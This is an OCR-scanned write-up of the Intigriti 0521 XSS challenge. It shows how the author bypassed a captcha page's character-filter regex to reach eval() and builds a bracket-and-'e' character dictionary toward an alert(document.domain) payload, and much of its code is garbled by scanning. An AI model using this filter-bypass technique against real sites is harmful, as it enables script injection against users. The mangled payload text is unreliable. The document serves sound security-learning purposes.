Intigriti May 2021 Challenge: Xss Challenge 0521 by
GrumpinouT
End of May ethical hacking platform Intigriti (https://www.intigriti.com/) launched a new cross site

scripting challenge. This time not created by themselves but by a hacker from the community as
part of his bachelor thesis: https://twitter.com/GrumpinouT

Robbe Verwilghen
So... | created a challenge for yriti! @ 4

| created this as part of my bachelor thesis, and | will send a short survey
to anyone who solved the challenge.

| will give away another €50 swag voucher to a random person that filled
in the survey! &

@ INTIGRITI

% New XSS challenge! Did you really think we weren't going to
release a challenge this month? @&

& €300 in SWAG prizes

& Submit your solution before June 8th

& " 'We'll tweet out a tip for every 100 likes

Thanks @GrumpinouT for the challenge!
challenge-0521.intigriti.io

Rules of the challenge

* Should work on the latest version of Firefox or Chrome

* Should execute alert(document.domain).

* Should leverage a cross site scripting vulnerability on this page.
* Shouldn't be self-XSS or related to MiTM attacks

Challenge

To be simple a victim needs to visit our crafted web url of the challenge page and arbitrary
javascript should be executed at that challenge page to launch a Cross Site Scripting (XSS) attack
against our victim. In this challenge it was accepted that the victim still needs to perform a mouse
click on a button.


https://www.intigriti.com/
https://twitter.com/GrumpinouT

The XSS attack

Recon

As always it starts with recon and trying to understand what the web application is doing. A good
start for example is using the web application, reading the challenge page source code and looking
for possible input possibilities.

Once we visit the challenge page the most interesting part seems to be at the bottom as we can
control an input field:

<« C @& challenge-0521.intigriti.io (‘Update )

Intigriti's 0521 XSS challenge - by @GrumpinouT

Find a way to execute arbitrary javascript on this page and win Intigriti swag.
Rules:

« This challenge runs from May 31 until June 7th, 11:59 PM CET.

= Out of all correct submissions, we will draw six winners on Monday, June 8th:
o Three randomly drawn correct submissions
o Three best write-ups

« Every winner gets a €50 swag voucher for our swag shop

« The winners will be announced on our Twitter profile.

« For every 100 likes, we'll add a tip to announcement tweet.

The solution...

 Should work on the latest version of Firefox or Chrome

+ Should execute alert (document.domain).

« Should leverage a cross site scripting vulnerability on this domain.
« Shouldn't be self-XSS or related to MiTM attacks

« Should be reported at go.intigriti.com/submit-solution

By the way...

* @ Are you arobot? Our intern built this handy captcha to find out!

Solve the math problem to prove that you're not a robot:

a1+ =620




First things first lets test the web application. We will use the application in a normal way and input
a correct and incorrect value to see what happens:

Gy 5 s R 2 (‘update %)

C @& challenge-0521.intigriti.io

challenge-0521.intigriti.io says

S # Congratulations, you're not a robot!

Find a way to execute arbitrary javascript on this page and win Intigriti swag.

Rules:

« This challenge runs from May 31 until June 7th, 11:59 PM CET.

= Out of all correct submissions, we will draw six winners on Monday, June 8th:
o Three randomly drawn correct submissions
o Three best write-ups

« Every winner gets a €50 swag voucher for our swag shop

« The winners will be announced on our Twitter profile.

« For every 100 likes, we'll add a tip to announcement tweet.

The solution...

« Should work on the latest version of Firefox or Chrome

«+ Should execute alert (document .domain).

« Should leverage a cross site scripting vulnerability on this domain.
« Shouldn't be self-XSS or related to MiTM attacks

« should be reported at go.intigriti.com/submit-solution

@ |Intigriti May Challenge X +

Updat

a % » 2 (

@& challenge-0521.intigriti.io

challenge-0521.intigriti.io says

® Sorry to break the news to you, but you are a robot!

ind a way to execute arbitrary javascript on this page and win Intigriti swag.

Rules:

« This challenge runs from May 31 until June 7th, 11:59 PM CET.

« Out of all correct submissions, we will draw six winners on Monday, June 8th:
o Three randomly drawn correct submissions
o Three best write-ups

= Every winner gets a €50 swag voucher for our swag shop

« The winners will be announced on our Twitter profile.

= For every 100 likes, we'll add a tip to announcement tweet.

The solution...

 Should work on the latest version of Firefox or Chrome

 Should execute alert (document.domain).

« Should leverage a cross site scripting vulnerability on this domain.
* Shouldn't be self-XSS or related to MiTM attacks

« Should be reported at go.intigriti.com/submit-solution

By the way...

& Are you a robot? Our intern built this handy captcha to find out!

Alright some kind of captcha checking if we can solve the math. If we solve it the application is
sure we are not web robots accessing the page.



Time to dig a bit deeper and have a look at the client side code we can read via the source of the
web application. The main application page does not reveal much except another PHP page that is
embedded via an iframe. This PHP page takes care of the check if we are a web robot or not.
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<1i>This challenge runs from May 31 until June 7th, 11:59 BM CET.</1li>
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Out of all correct submissions, we will draw <b>six</b> winners on Monday, June 8th:
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<li>Three randonly drawn correct submissions</li

<li>Three best write-ups</li
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P <>The solution...</b>

P H11>Should vork on the latest version of Firstox or chrome</15>
; <li>Should execute <code>alert(document.domain)</code>.</1.
Slivshould loverade a coss site soribting valerability on this domain.</Li>
<lizShouldn't be gelf-XSS or related to Mitd attacks</li>
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<b>By the way...</b>
ul>

<li>g Are you a robot? Our intern built this handy captcha to find out!<br/><br/>
<b>Solve the math problem to prove that you're not a robot:</b>
<iframe src=" width="450" height="90" frameBorder="0"></iframe>

We now found a PHP page that takes care of the captcha check. Lets visit that page and see what we
can do there. The page itself shows the math we need to solve to prove we are not web robots:

C @ challenge-0521.intigrit

278+ |=687 [Submit



As this page is embedded via an iframe in the main application page we already know the normal
behaviour when we use it so we can immediately check the source code of this page.

The first part is HTML code to build the page which is less interesting for us:
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The last part of the page contains Javascript which is of course very interesting as we can abuse this
to launch our XSS attack later:

o] <script>

const a = document.querySelectox (
@ const ¢ = document.querySelectox
w const b = document.querySelectox (
n const d = document.querySelector

window.onload = function(){
setNewNumber
docunent. gatElemantByIdi "captcha”) .onsubmit = function(e){
e.preventDefaul
loadcalc(0);

}
& function loadCalc(pval){
docunent. yetElementsoyTaguana( "progzens’ ) (01. style. display = *hlock!
® Gocument . getElmenteByTagNane "progress” ) (0] vatue = pval
o if(pval == 100){
& cale()
& else(
& window. setTimeout (function() {loadCale(pval + 1)}, 10);
&
w0 )
o function setNewNumber() {
o« document . getElement sByTagName ("progress” ) (0].style.display = "none”
o yar dvalue = Math, round(Math. random()+1000);
o d.innerTex
o o ihmerTont - Math:round(Math. randon()* dvalue);
4 )
) function calc() {
00 const operation = a.innerText + b.innerText + c.val
ot if (loperation.match(/[a-df-: I\ 175y} { // Allow letter ‘o' because: hbtpss//en.wikipedia.org/wiki/u_(aathenstical_constant)
i ertext == eval(operation)) {
o alert(*@@ Congratulations, you're not a robot!");
o5 else {
o5 alert("@ Sorry to break the news to you, but you are a robot!");

)
setNewNumber () ;

c.value = "*

</script>
</html>




I am not a Javascript programmer so [ try to analyse the code as good as I can to understand it. I
mostly use the Chrome or FireFox developer tools (F12 button) by setting breakpoints while using

the application.

278+ 687

ol Elements  Console  Sources

Page File o » ;| [

O top
& challenge-0521.intigriti.io
captcha.php
& Wappalyzer
& fonts.googleapis.com
& fonts.gstatic.com

2) Use the application

Paused in debugger 1> 7%

Ne el ce Memory Application curity Lighth
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ction load
document. getElementsByTagName ("
document. getElementsByTagName("pr

") [0].styl
") [0] .value

. setTimeout(function(){loadCalc(pval + 1)}, 10);

3) Go through the code step by step. See variable values
and the flow the application takes.

Pause on caught exceptions
i
& captcha.php:100
const operation = a.innerT.
captcha.php:101
if (toperation.match(/[a

3 captcha.php:102

if (d.innerText == eval(op..
% captcha.php:103

alert("® ®@ Congratulation..

etElementsByTagName

va Math.[round (Math
d.in dval —
a.innerText = Mat J captcha.php:106
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ound (Math.[Drandom()* dvValue);

€ captcha.php:108
operation = “278+409" setNewNumber() ;
operatio
it (d.inni
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= i
eval{operation)) {
ngratulations, you're not a robot!");

# captcha.php:110
c.value

1 ® captcha.php:111
b

v Scope

se {
alert(" break th to you, but you are a robot!

setNewNumber () ;

c.value =

3

</script>
html> Window
» Script
» Global

v Call Stack

Window

calc

So here my analysis of what happens in the Javascript code.

67| <script>
const a =

ySelector ("#a") 7
const document . querySelector ("#
0 const. document . querySelector ("
71 const d = document.querySelector ("#

Set the necessary variables at page load calculate new numbers
and start the loadCalc function

window.onload = function(){
setNewNumber();

75 getElementById("captcha) = e){

76 e.preventDefault();

7 loadCalc(0);

78 }i

il }

81 function loadCalc(pVal){

82 getEl g ( ")[0].style.display = "block";

8 document . getElementsByTagName ( "progress”)[0].value = pVal;

8 if(pval == 100){

85 cale();

8 }

&7 else{

88 window.setTimeout (function(){loadCalc(pval + 1)}, 10);

8 }

1B

5

2 function setNewNumber() {

% document . getElementsByTagName ( "progress")[0].style.display = "none";
o4 var dvalue = Math.round(Math.random()*1000);

9 d.innerText = dvalue;

% a.innerText = Math.round(Math.random()* dvalue);

1B

% function calc() {

00 const operation = a.innerText + b.innerText + c.value;

01 if (loperation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
02 if (d.innerText == eval(operation)) {

03 alert("® @ Congratulations, you're not a robot!");

04 }

; sl . The calc function checks if the input is correct
06 alert("w Sorry to break the news to you, but you are a robot!");
07 }

 veuanber ()5 and pops the alert boxes
09 }

110 c.value = "";

11 3}

13| </script>



The calc function at the end is by far the most interesting as it evaluates our input and uses the
Javascript “eval()” function with our input. Seeing “eval()” in source code executing things we
control as an attacker is always very interesting for DOM XSS.

https://portswigger.net/web-security/cross-site-scripting/dom-based

A deeper dive into the calculation part:

E 2 4 § 1 . . . »
ot aporaton = a.innerText + b.imnerText + c.value; It takes 3 inputs: a, b and ¢ and combines them into variable "operation"
1if (!operation.match(/[a—df—z<>()l\\='"]/gi)%' because: h;tpﬁ://en.wi]gipeﬁip.or /wiki/E (mathﬁmatical constant)
if (d.innerText == eval(operation)) { our input in "operation" is checked for "illegal" characters by a regex

alert("® @ Congratulations, you're not a robot!");

} ——— If ourinputin "operation" is equal to value d we are not a robot

else {

alert("@ Sorry to break the news to you, but you are a robot!");

}
setNewNumber () ;

If our input in "operation" is not equal to value d we are a robot
c.value = ""

} In case our input in "operation" has a "illegal" character no check is done an the value of c is cleared

What do we know at this point:

- We need to reach the “eval()” part of the code to execute our malicious Javascript

- Aregex is checking our input for “illegal” characters: / [a-df-z<>() '\\=""]/gi

- The regex only allows us to use following that could be interesting to run our own code:
- Numbers 0 to 9
- Letter e
- Some brackets [] {}
- Math signs + — */

- Input parameters a, b and c are used. Can we control them?


https://portswigger.net/web-security/cross-site-scripting/dom-based

URL parameters

At this point I test to see if I can control one of the 3 parameters. This can be done via the URL and
check for reflection in the web application:

It becomes clear we can control parameter b and c. a is not reflected and thus not usable.

& & challenge-0521.intigriti.io/captcha.php?a=3333&b=4444&c=5555

794 Submit

Javascript with a limited character set

Ok at this point we know the parameters we control and also that we are very restricted in what is
allowed as input for these parameters. Can we even inject valid Javascript code which such a
limited character set?

- Numbers 0 to 9
- Letter e

- Some brackets [] {}

- Math signs + — * /

The answer is yes :-). There is something very interesting called JSF*ck:

http://www.jsfuck.com/

With only brackets and ! + we can write valid Javascript code!


http://www.jsfuck.com/

This can easily be tested via the browser developer tools by performing a self XSS:

C A Not Secure

)+
[1! JSFuck

JSFuck is an esoteric and educational programming style based on the
atomic parts of JavaScript. It uses only six different characters to
write and execute code.

It does not depend on a browser, so you can even run it on Node.js.

Use the form below to convert your own script. Uncheck "eval source" to
get back a plain string.

alert(1) HEncode‘ Eval Source Run In Parent Scope

CICCLOIHID) [HOIIH(LLIHI D) DAL IR IHCLIHD) [T 1L [+11)
COOIDCEDIAID [+ IHCE DI+ DA DIHEHLT I LI+ (R IH CLE LI+ [+

[INIHED) DAL IR IH (UL LTI DI+ E D) [T THCELIHD D) DD+ D+ (L
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CIHSHIHCE DI D TR DI UL+ LD [HOT D D) [HH DI+ T+ CLE LI OD) [+
CIITCCH DI+ [HAHDIIH (U DI D) DI DI LTI DI+ [HOD I+

[+ O+ TIHID) [HAH DT (OITOI IO TR LTI (RO LT IHOI DD+

2345 chars Run This

Links

Share on Twitter

* View source on GitHub

Follow @aemkei (Martin Kleppe)
original discussion at Sla.ckers.org

614444
794

challenge-0521.intigriti

1
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Filter \ No |
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Building our own limited Javascript character set dictionary

Just using JSF*ck would be to easy :-). If you check our regex that we need to pass we are not
allowed to use the “!” sign. Bad luck we will need to build our own dictionary and evade the “!”
sign. But our regex is not that strict and still allows numbers and the letter “e” :-)

This is how I did it:

I combined different techniques from following resources and with trial and error I was able to
build the dictionary needed:

https://portswigger.net/research/executing-non-alphanumeric-javascript-without-parenthesis

https://codegolf.stackexchange.com/questions/206717/get-string-with-javascript-using-only-the-
symbols-from?noredirect=1&Iqg=1

https://codegolf.stackexchange.com/questions/75423/jstk-with-only-5-symbols

The first question is which letters and characters do we need to create for eval() to execute
Javascript and alert the domain?

We need following: alert(document.domain)

As eval will see this as javascript code and execute it (Here shown with self XSS):

61 4444|5555 | = challenge-0521.intigriti.io says

794 challenge-0521.intigriti.io

Elements Console Sources Network Performance Memory Application Security Lighthouse
)  top Y ©  |Filter All levels ¥ No Issues

> eval(alert(document.domain))

Each character of this payload needs to be converted to the limited character set and then combined
with “+” symbols.


https://codegolf.stackexchange.com/questions/75423/jsfk-with-only-5-symbols
https://codegolf.stackexchange.com/questions/206717/get-string-with-javascript-using-only-the-symbols-from?noredirect=1&lq=1
https://codegolf.stackexchange.com/questions/206717/get-string-with-javascript-using-only-the-symbols-from?noredirect=1&lq=1
https://portswigger.net/research/executing-non-alphanumeric-javascript-without-parenthesis

From the info found on Google I discovered following:

[LICC1]+[0[+[1] is equal to undefined in Javascript. And Javascript sees this as an string array where
we can even select characters one by one:

Elements Console Sources Network Performance Memory Application Security Lighthouse

> ® vy © |Filter All levels ¥ No Issues
[ITO0I1+0110+01]

- "undefined"

CITCOIT+01T [+ 010)0+01 + 1]

e

[ITC0IT+01T 4011 [+01 + 2]

ngn

[ITC0IT+011 4011 [+01 + 3]

. ngn

>
<
>
&
>
&
>
<

With “+” signs we can combine them to new words:

Elements Console Sources Network Performance Memory Application Security Lighthouse

Pkl o Y © | Filter All levels ¥ No Issues
[0011+011 [+011
- "undefined"
[IIL011+011 [+011 [+01 + 11
T
[IT0II+011 [+ 01T [+01 + 2]
g
[IIC0I1+011 [+ 011 [+01 + 31
e
[OTC0IT+01T [+ 01T [+01 + 31 + [OICCID+01D0+0100+00 + 61 + [ITL011+0110+011[+[1 + 2]
- "end"

We can suddenly create each letter of undefined with only brackets, numbers and “+” signs. This
already gives us some letter needed for our payload.

This is of course not enough, we need more characters. I read the documentation from Gareth Hayes
(Portswigger) again and also some discussions on stack exchange. The Javascript “find” function
seems interesting to be accessed via the undefined character set and used to get more characters
available.

The word find can be converted to a real function by wrapping it like this: [][ find ]

Elements Console Sources Network Performance Memory Application Security Lighthouse

)  top \ Filter Al levels ¥ No Issues
> [ITCOIT+01T D+010 [+01 + 41+ 001 00+ 000 [+ 011 [+0 + 51+001C011+011 [+ 011 [+01 + 61+L01[011+011 [+[11 [+01 + 21+[1
< "find"

> [10 CITCOII+01T [+01 [+01 + 41+ 000 CO1I+000 [+000 [+01 + 51+001C011+001 [+011 [+01 + 61+L01 [011+001 [+011 [+01 + 2]+[1 1
< find() { [native code] }




Which needs to be converted back to a string to be able to select each character separately:

[ f find() { [native code] } +[1][+[1]

Elements Console Sources Network Performance Memory Application Security Lighthouse

top Y Filter All levels v No Issues

> [OC0II+011 [+011 0+01 + 41+001 D010+ 010 [+ 001 [+00 + 5140010001+ 000 [+01 [+01 + 61+[C1L011+011 [+011 [+01 + 21+[]
- "find"

[0 [OTC001+011 [+001 [+00 + 414001 D011+ 000 [+ 001 [+01 + S1+LI1C011+011 [+011 [+01 + 61+[01L011+011 [+[11 [+[1 + 21+[] 1]

find() { [native code] }

[010 COOCOII+00T [+000 [+01 + 41+C01C01+000 [+ 000 [+00 + SI+CC1C011+0010 [+011 [+01 + 61+LL1T011+011 [+[11[+01 + 21+[1 1+[11[+[11
- "function find() { [native code] }"
> [0 CONCOIT+011 [+0011 [+01 + 41+C01C010+000 [+ 000 [+00 + S1+001C011+010 [+031 [+01 + 61+[01C011+011 [+011 [+01 + 21+01 1+[11[+[11[+[]1 + 13]
_r

(000 COOCOII+00T [+000 [+01 + 41+C01C001+000 [+ 000 [+00 + SI+C01C001+0010 [+031 [+01 + 61+[01L011+001 [+ 011 [+01 + 21+01 1+[11[+[11[+[1 + 14]
. nym

Remember the regex also allows the letter “e”. This gives us access to the “e” element of the HTML
and event more characters:

Elements Console Sources Network Performance Memory Application Security Lighthouse

top v Filter All levels v No Issues
<progress id="e" value="0" max="100" style="display:none"></progress>
oRcttl]
- "[object HTMLProgressElement]"
[e +[11[+[1]

- "[object HTMLProgressElement]"
[e +[11[+[11[+[1 + 13]

r

[e +[11[+[11[+[1 + 23]

m




At this moment our “dictionary” we control is already quite big but we are missing a “.”. Again via
some Google searching I found a solution here:

How?

We first generate the string "11e100" and coerce it to an number to get 1.1e+101 . By
coercing it back to a string and extracting the 2nd character, we obtaina "."

Using this "." , we can now generate the string ".0000001" . When forced to a number, this
gives 1le-7 , which can be used to extracta "-".

Below is a slightly more readable version:

[+[[+['11" + [[NaN] + undefined][@] [10] + '1@@'] + [1]1[@][1] + '@eeeeel'] + []][0]

Commented
[ // singleton array:
+[ // coerce to a number:
[ // singleton array:
+[ // coerce to a number:

Elements Console Sources Network Performance Memory Application Security Lighthouse

top Filter All levels No Issues

11e100

- 1.1e+101
[11e100+([11e100]+[]1]1 [+[]1]

- "1.1e+1011.1e+101"
[11e100+[11e100]+[11[+[1][1]

Some more googling also gave me access to the letter “t” and “o0” for our allowed character set:
[[]+{}][+[]1] is actually equal to the Javascript string "[object Object]"

Elements Console Sources Network Performance Memory Application Security Lighthouse
top Filter All levels No Issues

> [[1+{} [+[1]
¢ "l[object Object]l"

> [[1+{F [+[11 [+[1 + 6]
« e




This gives us a complete dictionary we need to craft the payload:

R + 1]

le +[]J[+[1][+[] + 21]

(LN + 3]

le +{]J[+{1][+[] + 13]

[+ + 6]

— | =| O — ©

(L TOCU T+ + AT+ T + 51+
(O] + O+ + 2]+ 1+
][+ + 13]

(LT + 2]

(O] + 1]

(O[] + 5]

LI+ + 0]

[e +[JJ[+[1][+[] + 23]

(LI + 3]

(T + 1]

~+ S| o3| c| ol o]l

(O] + 6]

[11e100+[11e100]+[[][+[]][1]

(LN +2]

(O] + 1]

le +{]J[+{1][+[]+ 23]

[+ + 11

(U] + 5]

— 3| —| | 3| o] af -

(T + 1]

(LT T+ + AT+ T + 51+
(OO + O+ + 2]+ 1+
(][] + 14]

We can combine them each time with a “+” sign to create words or payloads.




Crafting a payload for our attack

So we have a dictionary with allowed characters that passes the regex and will execute as Javascript
in the “eval()” function. This becomes easy now lets create a more simple payload and quickly test
our dictionary :-)

alert(1) should pop an alert box and confirm that we bypass the regex. Once this works we can
advance further and pop the domain name.

Combining our dictionary together “alert(1)” should be following code:

O+ DO+ 1+ [e+ DN+ 20+ OO+ O 0+OI 0+ 31+ [e+ [T+ DT+ T+ 131+ [[1+{}]
(+OI+O+6 I+ LD+ 010+ O 0 O+ 4+ O+ O+ OO S 1+ LU+ DT+ DI+ O+ 61+ L+
(N O+20+ 1+ DO+ O+ 131+ OO+ OO0 O+4 1+ O D+ 0105 1+ O+ O]
(+O+6 1+ O+ T+ 21+ O+ L1 14]

Lets see what the developer console tells us:

& @ Elements  Console

top

B o

> [+[][[]]+[]+[]][+[]]H[]+l]+[e+[] 11 [+[1+21]+ +[11 [+ 11431+ [e+[11 [+[1] [+[1+131+ [ [1+{}] [+[1] [+[1+61+[ [T [L1T [
+

11+01T [+ 00+51+ 00 [0+ 001 [+011 [+ 01461+ L[] (111 +011 [+[11 [+

[
1+0011 [+ 017 [+ [1+131+2+ [ 11 [ [01+001 [+011 [+ 01441 + [T [0 1+ 000 [+[1] [+[1+51+ + TI+01+61+ 001 [111+[11 [+[1]

Perfect, Lets test this inside an “eval()” function like the application would do:

61 4444|5555 | = challenge-0521.intigriti.io says

794

+

[1+11+[e+[11 [+[] = +[11[+[11 [+[1+31+[e+ (1] [+[1] [+ +[[1+ +[1+6]+ AT+ +01+41+ [0 [0+ 11 [+01 G+ 00451+ 00 [0+ 01 [+01 [+01+61+ [T LI11+011 [+011 [+
+131+1+ [ LLOI LD +117 [+ 11+ +[11 [+ [+[1+5]+ 11 +[ +[1421+ 111+ 111 [+[11 [+[1+14]

> eval([+[1[[11+[1+[1]1 [+[1] [+[1+1]+[e+[1] [+[11 [+[1+22]+ (11 [[11+[11 [+[1] [+ 01431+ [e+[11 [+[1] [+ [1+131+ [ [1+H [+ 010 [+ 01461+ 01 CO0T L0101+ 010 [+011 [+[1+41+ 011 C011+ 010 [+ 011 [+ 01+51+ 001 [0D1+000 [+ 011 [+ [1+61+ 011 [[11+[11 [+[11]
[+[1+2]+[11+ 011 [+ 011 [+ [1+131+2+ [ [T [LIT LT 11E+0T L+ 0+41+ L0 T0T+000 G001 [+01+51+ 00 [0+ 001 [+007 [+ 01461+ 00 [0+ 011 [+011 [+[1+21+ 11+ 011 [+ [1] [+[1+141)




Works like a charm but still self XSS so not accepted :-). We can convert our payload to URL
encoding via this website: https://meyerweb.com/eric/tools/dencoder/ and add it to the C parameter:

URL Decoder/Encoder

[+[T D11+ 01+ 000 [+ 000 [+ 01 +2) + [e+ (10 [+ 011 [+ [1+220+ [T DOTT+ 000 [+ 011 [+ 01431+ [e+ [11 [+[1] [+ [1+13]1+ [ [1+{}]
[+[11[+01+61+[[TCOITCOIT+ 000 [+ 01 [+ [1+41+ 001 C01T+ 000 [+ 011 [+ 01451+ 001 [O11+ 010 [+ 011 [+[1+61+[[1[[11+
T [+ [+ 01+21+ 011+ 011 [+ 1] [+ [1+231+2+ [0T COOT COTT+ 01T [+ 010 [+ 01+41+ 00T CODT+ 01T [+011 [+ 01451+ (1 [ 111+
(T [+011 [+ [1+61+ 0T CO11+ 01T [+ 010 [+ 01421+ [11+ 011 [+[11 [+[1+14]

DeCOd £

URL Decoder/Encoder

9%65B9%2B%5B%5D%5 B%5B%5 D%5 D% 2B%5 B%5D%2B%5 B%5D%5 D%5B%2 B%5 B%5D%5D%5 B% 2B%5B%5D%2B1%5D%2B%5 Be%2B%5B%5D%5D
%5B%2B%5B%5D%5D%5B%2 B%5 B%5D%2B 2 1%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5 B%5D%5D%5 B%2 B%5B%5 D%5D%5B%2B%5B%5D
%2B3%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B13%5D%2B%5B%5B%5D%2B%7 B%7D%5D%5B%2B%5B%5D%5D
95B%2B%5B%5D%2B6%5 D%2 B%5B%5 B%5D%5 B%5B%5 B%5D%5 B%5B%5D%5D%2 B%5 B%5D%5D%5 B%2 B%5B%5 D%5D%5 B%2B%5B%5D%2 B4
%5D%2 B%5B%5B%5D%5B%5 B%5D%5D%2 B%5B%5 D%5 D%5B%2 B%5B%5D%5 D%5B%2 B%5 B%5D%2 B 5%5 D%2 B%5 B%5 B%5D%5 B%5B%5D%5D
%2B%5B%5D%5D%5B%2B%5B%5D%5D%5 B%2B%5B%5 D% 2B6%5D%2 B%5 B%5 B%5 D%5 B%5 B%5D %5 D%2 B%5B%5D%5D%5B%2B%5B%5D%5D
95B%2B%5B%5D%2B2%5D%2 B%5B%5D%5D%2 B%5B%5D%5D%5B%2B%5B%5D%5 D%5 B%2B%5B%5D%2B13%5D%2B1%2B%5B%5B%5D%5B8%5B
9%65B%5 D%5B%5B%5 D%5D %2 B%5B%5D%5 D%5B%2 B%5 B%5D%5 D%5 B% 2 B%5 B%5D %2 B4%5 D%2 B%5 B%5 B%5D%5 B%5 B%5D%5 D%2B%5B%5D
%5D%5B%2B%5 B%5D%5D%5 B%2B%5B%5 D% 2B 5%5D%2 B%5 B%5 B%5 D%5 B%5 B%5 D%5 D%2 B%5B%5 D%5D%5B%2 B%5B%5D%5D%5B%2B%5B
95D%2B6%5D%2B%5B%5 B%5D%5B%5 B%5D%5 D%2B%5B%5D%5D%5B%2B%5B%5 D%5D%5B%2B%5B%5D%2B2%5D%2B%5B%5D%5D%2B%5 B
9%5D%5D%5B%2B%5 B%5D%5D%5B%2B%5B%5D%2B14%5D

Decode Encode


https://meyerweb.com/eric/tools/dencoder/

We can use it now in our challenge URL and press the submit button to let it be checked by the
application:

< —> C @& challenge-0521.intigriti

Q » 2 ((Update i)

783 + ["'[][[] =935 | Submit challenge-0521.intigriti.io says

# Sorry to break the news to you, but you are a robot!

Nothing happens or to say our popup is not there??? What did we do wrong? At this point we need
to debug again via the developer tools:

Paused in debugger 1> 7%

Elements Console  Sources  Network._ Performance  Memory  Application  Security Lighthouse &

Page File i [ captchaphp?c=[j[%2B]%2B14] x contentjs A

O top w1:daw.setnmenut(wm (){loadCalc(pval + 1)}, 10); LD C el
v challenge-0521.intigriti.io 3

captcha.php?c=[%2B[[[]%2B[1%2
» O Wappalyzer
» O fonts.googleapis.com

» O fonts.gstatic.com d.innerText ue; [ captcha.php?c=[%2BI[]%28[.
e a.innerText lath. round (Math. random()* dvalue); if (loperation.match(/[a-d.

i Paused on breakpoint
setNewNumber() { » Watch
document.getElementsByTagName("progress”) [0].style.display = "none"; v Breakpoints
dva Math. round (Math. random()*1000) ;

€ captcha.php?c=[%2B([11%2BL.

ext + b.innerText + c.value; operation 4L+ [+ 0+000 [+ 0] B+ 01420+ [e+ [11 [+111 [+ 114221+ L [1 [ [1] if (d.innerText == eval(op.
{ =

A ) I\ gi)) - v Scope
f (d.innerText eval(operation)) {
rt("S ® Con ulations, you'r g
[calles
oper: +[+[1 0011+ 01+

orry to break the news to you, but you are a r . ;m Window

setNewNumber () ; » Script
» Global Window

c.value
o v Call Stack

calc

loadCalc

The “32 +” is added to our code which of course breaks it as the “+” is also used in our limited
character set :-(.

But :-) remember we also control the “b” parameter so we can overwrite the “+” to something else.
So lets test this a bit more in our developer console.

I tried different things to put upfront of our payload as we only control the “b” parameter but not the
number upfront (32 on this screenshot)

Elements  Console s Network Performance  Memory  Application
top v Filter Al No s

> eval[32 [+[1[[11+[1+[1] [+[11 [+[1+1]+[e+[1] [+[1] [+[1+21]+[[TL111+ 010 [+[1] [+[1+3]+[e+[11 [+ 1] [+[1+231+ [ [1+{}] [+ (1] [+ [1+61+ [T CLI L011+ 000 [+01] [+(1+41+ 1 [011+ 000 [+ 011 [+(1+51+ 001 C01T+ 000 [+ 011 [+[1+61+[ 11 [011+011 [+
0121 [11+ 11 [+011 [+ 114231+ 2+ L0 COOT L0 D+ 000 G+ 000 [+ 00441+ L0 [0 +000 [+010 [+ 00451+ L0 [0+ 0011 [+007 [+ 01461+ [0 011+ 011 [+017 [+ 01421+ [11+[11 [+[1] [+[1+14])

ught Ty r t read 2 i

> eval(32&[H[1 [[11+[1+[1] [+[1] [+[1+1]+[e+[1] [+[1] [+[1+21]+[[1[ +[11 [+ 01431+ [e+[1]1 [+[11 [+[1+131+ [ [1+{}1 [+[1] [+ [1+61+ [ 1 [LI1C[11+[11 +[1+41+ 011011+ 011 [+001 [+ [1+51+ D01 D00 1+010 [+ 011 [+[1+61+ [0 [011+011 [+

[ 1
[ FOF2T+ 01+ 01 [+ 0] [+ 04231+ [0 LI 0T+ 01 [+00] [+ [1+4. TEO1+0T I+ 0451+ 00 COT+ 0] B+ 01 [+ 01+61+ L0 [0+ 01 1+011 [+ (1421 +111 [+[11[+[1+14])
< 0
[Violation] 'setTimeout' handler took 226151ms C: 2 2B[]..8[]] [%2B[]%2B14]

10011+ 0+001 [+01] [+[1+1]+[e+[11 [+[1] [+[1+21]1+[[1 [ [] 01 +01 [+0451+ 00 L0+ 01 [+01 [+1+61+ [0 [111+011 [+

[
F[11+011 [+1] [+[1+131+2+ [ CO0 CO11+000 G+ 000 [+ [1+4]+

I was not able to find a combination that fired our alert payload. I was stuck at this point. The
payload is good but the challenge page adds a number that breaks it completely :-( or at least that is
what it seems at this moment...



Refactoring the payload to execute in this challenge

I got myself back to all documentation I had already found and the approach of Gareth Hayes from
Portswigger seemed to be different as others as shown here:
https://portswigger.net/research/executing-non-alphanumeric-javascript-without-parenthesis

I have not enough Javascript skills to explain why this works but anyway I was able to reconstruct it

with our limited character set.

Gareth combines 2 times a “constructor” to get a function:

[1[

constructor

1l

constructor
]
“$${ alert(1) }$°

This means we can use our dictionary for the word constructor and the alert(document.domain). We
only are missing the letter “s” at the moment but that one is quickly created:

s | [e +{IJI+{1][+(] + 18] |

2 times constructor shows a function in Javascript between the brackets like Gareth does:

1+ L01+011 [+ 0] [+[1+1]+[e+[1] [+[11 [ T0+001 (+11+231+ [0 [0+ 001 [+011 [+ 01401+ [[1+{}] [+ (11 [+ 1451+ [11+{3 [+[1] [+ 1461+ [[1+{}] [+[1] [+[1+1]+

[e+[1] [+[1] [+[1+18]+[[1+{}] [+[1] [+[1+6]+[e+[1] [+[1] [+ [1+131+[[1 [[11+[1] [+[1] [+ [1+@1+ [ [1+{}] [+[11 [+ [1+51+ [ [1+{}] [+ [1] [+ [1+61+ [ [1+{}] [+[1] [+[1+1]+

If we combine this with the “$${ alert(1) }$ "~ we get following:

OO+ OIS IO+ OO+ D+ 0001+ OO0 L (e [T+ O+ 181+ [T+ T[]
[(+{+6]+[e+[T[+T[+[1+ 131+ NN O+OTH IO+ OO+ 51+ 0+ {61+ [+
(IO L+ [ D0 OTH O+ B3O+ O+ S0+ OO+ O+ DO+ O+
1]+ [e+ [N+ N+ 181+ [+ { M+ [1+61+[e+ [T+ [TT+1+ 131+ LT+ 000+ 0+ 01+ [+ { T+
(NE+O+S IO+ O+6 1L+ O+ 1+ e+ TN+ O+131T $$E 0001+ 0+ 10+
U+ 11+ [e+ DN+ O+ 21+ O+ T0+ON 0O+ 31+ e+ [T+ 131+ [+ OO+ +6 T+
(NI4T O+ DI DN+ OS5+ + IO+ O+ 6 1+ O+ O+ 010+ 21+ 001+ 010+
(IO 13+ T+ L0+ +C O+ 41+ LT+ O+ O O S 1+ T+ O+ D+ O+6 1+ T+
(O O+ 21+ 00+ I+ 1+ 14138


https://portswigger.net/research/executing-non-alphanumeric-javascript-without-parenthesis

This also works fine via the developer console and pops an alert box (self XSS):

